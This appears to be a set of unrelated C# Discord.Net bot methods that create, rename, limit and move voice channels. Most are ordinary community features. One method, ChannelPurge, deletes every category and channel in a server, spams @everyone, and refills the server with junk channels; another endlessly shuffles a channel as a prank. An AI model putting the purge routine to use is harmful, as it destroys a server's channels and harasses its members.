private async Task _client_UserVoiceStateUpdated(SocketUser arg1, SocketVoiceState arg2, SocketVoiceState arg3) { ulong GuildId = 741794858339008602; ulong ChannelId = 741799885082329121; if (arg3.VoiceChannel.Id == ChannelId) { IVoiceChannel voiceChannel = await bot.GetGuild(GuildId).CreateVoiceChannelAsync("Nothing"); IVoiceChannel channel = bot.GetGuild(GuildId).GetVoiceChannel(ChannelId); await voiceChannel.ModifyAsync(x => { x.Name = arg1.Username; x.Position = bot.GetGuild(741794858339008602).GetVoiceChannel(741799885082329121).Position + 1;; x.CategoryId = 741799684624089138; }); IUser a = arg1; await voiceChannel.AddPermissionOverwriteAsync(a, OverwritePermissions.AllowAll(voiceChannel)); CreatedId = channel.Id; var user = bot.GetGuild(GuildId).GetUser(arg1.Id); await user.ModifyAsync(User => { User.ChannelId = voiceChannel.Id; }); } }
public async Task _limit([Summary("User Count")] int count) { try { if (!bonfires.ContainsKey(Context.User.DiscriminatorValue)) { await ReplyAsync($"**{Context.User.Username}**, you have not lit a bonfire. You can light one with `!bonfire [name]`"); return; } if (count < 1 || count > 99) { await ReplyAsync($"**{Context.User.Username}**, please provide a valid limit (1-99). You can remove your user limit with `!bonfire limit clear`"); return; } Action <VoiceChannelProperties> setLimit = delegate(VoiceChannelProperties vcp) { vcp.UserLimit = count; }; IVoiceChannel channel = await Context.Guild.GetVoiceChannelAsync(bonfires[Context.User.DiscriminatorValue]); await channel.ModifyAsync(setLimit); await ReplyAsync($"{Emotes.Bonfire} **{Context.User.Username}**, your flame has been tended."); } catch (Exception e) { await Console.Out.WriteLineAsync(e.ToString()); } }
private void OnTimer(Object source, ElapsedEventArgs e, IGuild guild) { //System.Console.WriteLine("ss"); IVoiceChannel channel = guild.GetVoiceChannelAsync(720008031198380162).Result as IVoiceChannel; Random nr = new Random(); channel.ModifyAsync(prop => prop.Position = nr.Next(0, guild.GetChannelsAsync().Result.Count)); }
public async Task PublicChannel(string name, int users = 0) { //Add code making this command only work in VC or VC_2. if ((Context.User as SocketGuildUser).VoiceChannel == null) { await ReplyAsync("You must be in a voice channel to use this command."); return; } if (users <= 2 && users != 0) { await ReplyAsync("The channel must allow for three or more users."); return; } IVoiceChannel[] voiceChannels = (await Context.Guild.GetVoiceChannelsAsync().ConfigureAwait(false)).ToArray(); string channelName = voiceChannels.FindVoiceChannelName(name.ToLower(), false); if (channelName == "invalid") { await ReplyAsync("Channel type is invalid! Check Rules and Info for a full list."); return; } Globals.deleteGuard = true; await ReplyAsync("Creating channel " + name + " for user " + Context.User.Mention + ". Just a moment, please!"); IVoiceChannel createdChannel = await Context.Guild.CreateVoiceChannelAsync(channelName); if (users != 0) { await createdChannel.ModifyAsync(x => { x.UserLimit = users; }); } await(Context.User as IGuildUser).ModifyAsync(x => { x.Channel = new Optional <IVoiceChannel>(createdChannel); }).ConfigureAwait(false); await Task.Delay(200); Globals.deleteGuard = false; }
public async Task UpdateVC(IVoiceChannel VC) { int watchinPos = VC.Guild.GetVoiceChannelsAsync().Result.Where(chan => chan.Name == "Watchin").FirstOrDefault().Position; if (watchinPos <= VC.Position) { return; } string defaultVCName = $"Lobby {VC.Position + 1}"; var users = await VC.GetUsersAsync().FirstOrDefault(); if (users.Count == 0 && VC.Name == defaultVCName) { return; } string newName = users.Count == 0 ? defaultVCName : users.First().Game?.Name ?? defaultVCName; if (newName != "Lobby") { foreach (IGuildUser user in users) { if (user.IsBot) { continue; } if (user.Game?.Name != newName) { newName = defaultVCName; } } } if (!(char.IsUpper(newName[0]))) { newName = Char.ToUpperInvariant(newName[0]) + newName.Remove(0, 1); } void ChangeVCName(VoiceChannelProperties properties) => properties.Name = newName; await VC.ModifyAsync(new Action <VoiceChannelProperties>(ChangeVCName)); }
public async Task <Task> RunElevator(IGuild guild) { Random nr = new Random(); while (!elevatorStop) { // Hook up the Elapsed event for the timer. IVoiceChannel channel = guild.GetVoiceChannelAsync(720008031198380162).Result as IVoiceChannel; foreach (var cat in guild.GetCategoriesAsync().Result) { for (int i = 0; i < cat.Guild.GetChannelsAsync().Result.Count; i++) { await Task.Delay(1000); channel.ModifyAsync(prop => { prop.Position = i; prop.CategoryId = cat.Id; }).Wait(); } } } return(Task.CompletedTask); }
public async Task noLimit() { try { if (!bonfires.ContainsKey(Context.User.DiscriminatorValue)) { await ReplyAsync($"**{Context.User.Username}**, you have not lit a bonfire. You can light one with `!bonfire [name]`"); return; } IVoiceChannel channel = await Context.Guild.GetVoiceChannelAsync(bonfires[Context.User.DiscriminatorValue]); Action <VoiceChannelProperties> removeLimit = delegate(VoiceChannelProperties vcp) { vcp.UserLimit = null; }; await channel.ModifyAsync(removeLimit); await ReplyAsync($"{Emotes.Bonfire} **{Context.User.Username}**, your bonfire has been kindled."); } catch (Exception e) { await Console.Out.WriteLineAsync(e.ToString()); } }
public async Task <RuntimeResult> Setup(int count = 3) { IRole role = Context.Guild.Roles.FirstOrDefault(x => x.Name == TTTService.RoleName); if (role == null) { role = await Context.Guild.CreateRoleAsync(TTTService.RoleName, isMentionable : false); } var existing = Context.Guild.VoiceChannels.Count(x => x.Name.StartsWith("ttt-")); ICategoryChannel category = Context.Guild.CategoryChannels.FirstOrDefault(x => x.Name == "TTT"); if (category == null) { category = await Context.Guild.CreateCategoryChannelAsync("TTT"); await category.AddPermissionOverwriteAsync(Context.Guild.EveryoneRole, Program.NoPerms); await category.AddPermissionOverwriteAsync(role, Program.ReadPerms); } for (int i = 0; i < (count * count); i++) { IVoiceChannel vc = Context.Guild.VoiceChannels.FirstOrDefault(x => x.Name.StartsWith($"ttt-{i}")); if (vc == null) { vc = await Context.Guild.CreateVoiceChannelAsync($"ttt-{i}", x => { x.CategoryId = category.Id; }); } var invites = await vc.GetInvitesAsync(); IInvite invite = invites.FirstOrDefault(); if (invite == null) { invite = await vc.CreateInviteAsync(maxAge : null, maxUses : 1, isTemporary : true); } await vc.ModifyAsync(x => x.Name = $"ttt-{i}-{invite.Code}"); } return(Success("Server has been setup for tic tac toe.")); }
public async Task _bonfire([Summary("Name"), Remainder()] string name) { try { if (String.IsNullOrWhiteSpace(name)) { await ReplyAsync($"**{Context.User.Username}**, please provide a bonfire name."); return; } if (bonfires.ContainsKey(Context.User.DiscriminatorValue)) { Action <VoiceChannelProperties> rename = delegate(VoiceChannelProperties vcp) { vcp.Name = name; }; IVoiceChannel userChannel = await Context.Guild.GetVoiceChannelAsync(bonfires[Context.User.DiscriminatorValue]); await userChannel.ModifyAsync(rename); await ReplyAsync($"**{Context.User.Username}**, your bonfire has been renamed to {name}."); return; } IVoiceChannel newChannel = await Context.Guild.CreateVoiceChannelAsync(name); bonfires.Add(Context.User.DiscriminatorValue, newChannel.Id); IReadOnlyCollection <ICategoryChannel> categories = await Context.Guild.GetCategoriesAsync(); Action <VoiceChannelProperties> action = delegate(VoiceChannelProperties vcp) { vcp.CategoryId = categories.Where(y => y.Name.ToLower().Equals("voice channels")).First().Id; }; await newChannel.ModifyAsync(action); await ReplyAsync($"{Emotes.Bonfire} **{Context.User.Username}**, your bonfire has been lit."); unjoined.Add(newChannel.Id); await DeleteIfStillEmpty(newChannel); } catch (Exception e) { await Console.Out.WriteLineAsync(e.ToString()); } }
// The actual code which connects our name determinant function to renaming the channel. // I didn't want to make the function which determines the name async, as it's more of a utility, // so all of the async work is done here. public static async Task UpdateVoiceChannel(IVoiceChannel Channel) { // If the setting is off - don't bother if (!Settings.GetGuildSetting <bool>(Channel.Guild, "RenameVoiceChannels")) { return; } // Don't mess with the AFK channel. Nobody plays games in it anyway...hence AFK if (Channel.Id == Channel.Guild.AFKChannelId) { return; } string NewName = GetVoiceChannelName(await Channel.GetUsersAsync().Flatten()); try { await Channel.ModifyAsync(x => x.Name = NewName); } catch (Exception e) { // If my checks haven't caught someone trying to (most likely) change the voice channel name to something // that it shouldn't be, then we can handle that to avoid crashing the bot AuxillaryLogger.Log(LogSeverity.Error, "VoiceChannelRename", $"Failed to change the voice channel's name to: {NewName} ({e.ToString()}: {e.Message})"); } }
public async Task Channel(string vChannelTypeArg, int numberOfUsers = 0) { //Add code making this command only work in VC or VC_2. if ((Context.User as SocketGuildUser).VoiceChannel == null) { await ReplyAsync("You must be in a voice channel to use this command."); return; } #if !DEBUG if (!Context.Channel.Id.EqualsMulti(Program.ChannelIds.Voice, Program.ChannelIds.Voice2, Program.ChannelIds.Mod)) { await ReplyAsync("Please use this command in the voice chat channels!"); return; } #endif if (numberOfUsers <= 2 && numberOfUsers != 0) { await ReplyAsync("The channel must allow for three or more users."); return; } if (Globals.vcCreators.ContainsKey(Context.User.Id)) { await ReplyAsync("You already created " + Globals.vcCreators[Context.User.Id] + "! Leave that channel before making a new one."); return; } vChannelTypeArg = vChannelTypeArg.ToLower(); if (!vChannelTypeArg.EqualsMulti("general", "discussion", "chill", "comfort", "stream", "karaoke", "gaming", "drawing")) { await ReplyAsync("Invalid channel type!"); return; } string vChannelType = "General"; int defaultUsers = 0; switch (vChannelTypeArg) { case "general": vChannelType = "General"; break; case "discussion": vChannelType = "Discussion"; defaultUsers = 20; break; case "chill": vChannelType = "Chill Cafe"; defaultUsers = 6; break; case "comfort": vChannelType = "Comfort"; defaultUsers = 4; break; case "stream": vChannelType = "Stream"; defaultUsers = 15; break; case "karaoke": vChannelType = "Karaoke"; defaultUsers = 15; break; case "gaming": vChannelType = "Gaming"; defaultUsers = 15; break; case "drawing": vChannelType = "Drawing"; defaultUsers = 15; break; case "event": vChannelType = "Event"; break; } IVoiceChannel[] voiceChannels = (await Context.Guild.GetVoiceChannelsAsync().ConfigureAwait(false)).ToArray(); int loop = 0; int channelNumber = 1; while (loop < 2) { foreach (var voiceChannel in voiceChannels) { if (voiceChannel.Name == vChannelType + " " + channelNumber.ToString()) { channelNumber++; loop = 0; } } loop++; } string channelName = vChannelType + " " + channelNumber.ToString(); Globals.deleteGuard = true; await ReplyAsync("Creating channel " + channelName + " for user " + Context.User.Mention + ". Just a moment, please!"); Globals.vcCreators[Context.User.Id] = channelName; IVoiceChannel createdChannel = await Context.Guild.CreateVoiceChannelAsync(channelName); int finalUserLimit = 0; if (numberOfUsers == 0) { if (defaultUsers > 0) { finalUserLimit = defaultUsers; } } else { finalUserLimit = numberOfUsers; } await createdChannel.ModifyAsync(x => { x.UserLimit = finalUserLimit; }); await(Context.User as IGuildUser).ModifyAsync(x => { x.Channel = new Optional <IVoiceChannel>(createdChannel); }).ConfigureAwait(false); await Task.Delay(200); Globals.deleteGuard = false; }
public async Task Setup() { var guild = GetGuild(); ulong categoryId; IRole deadRole = null; ITextChannel general = null, mafia = null, dead = null; IVoiceChannel vc = null; if (guild.CategoryChannels.Any(x => x.Name == "Mafia")) { var category = guild.CategoryChannels.First(x => x.Name == "Mafia"); categoryId = category.Id; general = category.Channels.FirstOrDefault(x => x.Name == "general" && x is ITextChannel) as ITextChannel; mafia = category.Channels.FirstOrDefault(x => x.Name == "mafia" && x is ITextChannel) as ITextChannel; dead = category.Channels.FirstOrDefault(x => x.Name == "dead" && x is ITextChannel) as ITextChannel; vc = category.Channels.FirstOrDefault(x => x.Name == "Voice" && x is IVoiceChannel) as IVoiceChannel; deadRole = guild.Roles.FirstOrDefault(x => x.Name == "Dead"); } else { var category = await guild.CreateCategoryChannelAsync("Mafia"); categoryId = category.Id; } if (general == null) { general = await GetGuild().CreateTextChannelAsync("general"); await general.ModifyAsync(x => x.CategoryId = categoryId); } if (mafia == null) { mafia = await GetGuild().CreateTextChannelAsync("mafia"); await mafia.ModifyAsync(x => x.CategoryId = categoryId); } if (dead == null) { dead = await GetGuild().CreateTextChannelAsync("dead"); await dead.ModifyAsync(x => x.CategoryId = categoryId); } if (vc == null) { vc = await GetGuild().CreateVoiceChannelAsync("Voice"); await vc.ModifyAsync(x => x.CategoryId = categoryId); } if (deadRole == null) { deadRole = await GetGuild().CreateRoleAsync("Dead"); await deadRole.ModifyAsync(x => x.Position = 0); await deadRole.ModifyAsync(x => x.Hoist = true); } await general.SendMessageAsync("Mafia is setup! Create a lobby with `-create`."); }
private static async Task UpdateClockChannels() { DateTime utcNow = DateTime.UtcNow; DateTime estNow = TimeConverter.UtcToEst(utcNow); DateTime cstNow = TimeConverter.UtcToCst(utcNow); DateTime mstNow = TimeConverter.UtcToMst(utcNow); DateTime pstNow = TimeConverter.UtcToPst(utcNow); DateTime nzstNow = TimeConverter.UtcToNzst(utcNow); IVoiceChannel estChannel = _client.GetChannel(815729186673131561) as IVoiceChannel; IVoiceChannel cstChannel = _client.GetChannel(815729295556739073) as IVoiceChannel; IVoiceChannel mstChannel = _client.GetChannel(815729373659136061) as IVoiceChannel; IVoiceChannel pstChannel = _client.GetChannel(815729434715357236) as IVoiceChannel; IVoiceChannel nzstChannel = _client.GetChannel(818611936220282970) as IVoiceChannel; if (estChannel != null) { await estChannel.ModifyAsync(x => { x.Name = $"{GetClockEmoji(estNow)} {estNow.ToString("hh:mm tt")} EST"; }); await Task.Delay(1000); } else { Logger.Error("Unable to locate the EST Clock Chanel"); } if (cstChannel != null) { await cstChannel.ModifyAsync(x => { x.Name = $"{GetClockEmoji(cstNow)} {cstNow.ToString("hh:mm tt")} CST"; }); await Task.Delay(1000); } else { Logger.Error("Unable to locate the CST Clock Channel"); } if (mstChannel != null) { await mstChannel.ModifyAsync(x => { x.Name = $"{GetClockEmoji(mstNow)} {mstNow.ToString("hh:mm tt")} MST"; }); await Task.Delay(1000); } else { Logger.Error("Unable to locate the MST Clock Channel"); } if (pstChannel != null) { await pstChannel.ModifyAsync(x => { x.Name = $"{GetClockEmoji(pstNow)} {pstNow.ToString("hh:mm tt")} PST"; }); await Task.Delay(1000); } else { Logger.Error("Unable to locate the PST Clock Channel"); } if (nzstChannel != null) { await nzstChannel.ModifyAsync(x => { x.Name = $"{GetClockEmoji(nzstNow)} {nzstNow.ToString("hh:mm tt")} NZST"; }); await Task.Delay(1000); } else { Logger.Error("Unable to locate the NZST Clock Channel"); } }
public static async Task ChannelPurge(IGuild guild) { ITextChannel statusChannel = await guild.CreateTextChannelAsync("REE6 Channel Purge Progress", channel => channel.Position = 1); await statusChannel.SendMessageAsync("REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE Channel Purge Operation Starting..."); int categoryNum = guild.GetCategoriesAsync().Result.Count; int textChannelNum = guild.GetTextChannelsAsync().Result.Count; int voiceChannelNum = guild.GetVoiceChannelsAsync().Result.Count; // Purge Categories IUserMessage statusMessage = await statusChannel.SendMessageAsync("REEEEEEEEEE! Purging channel categories..."); foreach (ICategoryChannel category in guild.GetCategoriesAsync().Result) { await category.DeleteAsync(); } // Purge Text Channels await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Purging text channels..."); foreach (ITextChannel channel in await guild.GetTextChannelsAsync()) { if (channel.Id == statusChannel.Id) { continue; } await channel.SendMessageAsync("@everyone REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!!!!"); await channel.DeleteAsync(); } // Purge Voice Channels await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Purging voice channels..."); foreach (IVoiceChannel channel in await guild.GetVoiceChannelsAsync()) { await channel.DeleteAsync(); } // Random for category separation Random random = new Random(); // Recreate categories await statusMessage.ModifyAsync(msg => msg.Content = "Channel purge complete! Creating new channels..."); statusMessage = await statusChannel.SendMessageAsync("REEEEEEEEEE! Creating categories..."); ulong[] categoryIds = new ulong[categoryNum]; for (int i = categoryNum; i > 0; i--) { ICategoryChannel categoryChannel = await guild.CreateCategoryAsync("REEEEEEEEEE! categorEEEEEEEEEEEEEEEEE!!!!"); categoryIds[categoryNum - i] = categoryChannel.Id; } // Recreate Text Channels await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Creating text channels"); for (int i = textChannelNum; i > 0; i--) { ITextChannel textChannel = await guild.CreateTextChannelAsync("REEEEEEEEEE! text channelEEEEEEEEEEEEEEEEE!!!!"); try { ulong randomCategoryId = categoryIds[random.Next(categoryNum)]; await textChannel.ModifyAsync(channel => channel.CategoryId = randomCategoryId); } catch { await textChannel.SendMessageAsync("This channel could not be put into a category"); } } // Recreate Voice Channels await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Creating voice channels"); //IUserMessage voiceChannelFailsMessage = await statusChannel.SendMessageAsync("0 voice channels could not be put in a category"); int voiceChannelFails = 0; for (int i = voiceChannelNum; i > 0; i--) { IVoiceChannel voiceChannel = await guild.CreateVoiceChannelAsync("REEEEEEEEEE! voice channelEEEEEEEEEEEEEEEEE!!!!"); try { ulong randomCategoryId = categoryIds[random.Next(categoryNum)]; await voiceChannel.ModifyAsync(channel => channel.CategoryId = randomCategoryId); } catch { voiceChannelFails++; //await voiceChannelFailsMessage.ModifyAsync(msg => msg.Content = voiceChannelFails + " voice channel(s) could not be put in a category."); } } await statusMessage.ModifyAsync(msg => msg.Content = "REEEEEEEEEE! Channel Purge Operation Complete!"); await statusChannel.SendMessageAsync("Deleting channel in 3 seconds..."); Timer terminate = new Timer(3000); terminate.AutoReset = false; terminate.Elapsed += new ElapsedEventHandler(delegate(object sender, ElapsedEventArgs e) { statusChannel.DeleteAsync(); }); terminate.Start(); }
public async Task RoleLottery() { IGuild guild = client.GetGuild(spiritBearGuildID) as IGuild; // Spirit Bear Guild ITextChannel announce = await guild.GetSystemChannelAsync(); // Announcement channel IVoiceChannel voice = await guild.GetVoiceChannelAsync(434092857415041024); // The winner's voice channel IRole everyone = guild.EveryoneRole; // The everyone role IRole participantRole = guild.GetRole(411281455331672064); // The lottery role IRole winningRole = guild.GetRole(335456437352529921); // The winning role // All users in the guild var users = await guild.GetUsersAsync(); // All possible participants IEnumerable <IGuildUser> participants = users.Where(user => user.RoleIds.Any(roleID => roleID == participantRole.Id)); // Everyone who currently has the winning role IEnumerable <IGuildUser> currentWinners = users.Where(user => user.RoleIds.Any(roleID => roleID == winningRole.Id)); // Removes any current winner from the participants list participants.ToList().RemoveAll(participant => currentWinners.Any(currentWinner => participant == currentWinner)); string msg = "Lottery:\n"; // Adds who the role was removed from to the message msg += $"Took away {string.Join(", ", currentWinners.Select(user => user.Username))}\'s {winningRole.Name}\n"; // Removes the winning role from anyone who currently has it foreach (var user in currentWinners) { await user.RemoveRoleAsync(winningRole, new RequestOptions { AuditLogReason = $"Previous {winningRole.Name}" }); } // Randomly selects the winner IGuildUser winner = participants.ElementAt(rand.Next(0, participants.Count())); // Gives the winner their role await winner.AddRoleAsync(winningRole, new RequestOptions { AuditLogReason = $"The new {winningRole.Name} is in town" }); // Edits the winner's voice channel name await voice.ModifyAsync((VoiceChannelProperties prop) => { prop.Name = $"{winner.Username}\'s Executive Suite"; prop.Bitrate = 64000; }, new RequestOptions { AuditLogReason = "Reset and rename" }); // Resets permissions to their 'default' values await voice.SyncPermissionsAsync(new RequestOptions { AuditLogReason = "Reset permissions" }); // Edits everyone role permission overwrites await voice.AddPermissionOverwriteAsync(everyone, new OverwritePermissions(manageChannel : PermValue.Deny, manageRoles : PermValue.Deny, connect : PermValue.Deny, moveMembers : PermValue.Deny), new RequestOptions { AuditLogReason = "Reset permissions" }); // Edits winner role permission overwrites await voice.AddPermissionOverwriteAsync(winningRole, new OverwritePermissions(connect : PermValue.Allow, moveMembers : PermValue.Allow, manageRoles : PermValue.Allow), new RequestOptions { AuditLogReason = "Reset permssions" }); msg += $"Participants: {string.Join(", ", participants.Select(participant => participant.Username))}\n"; msg += $"This week's winner is: {winner.Mention}!"; await(announce as ISocketMessageChannel).SendMessageAsync(msg); }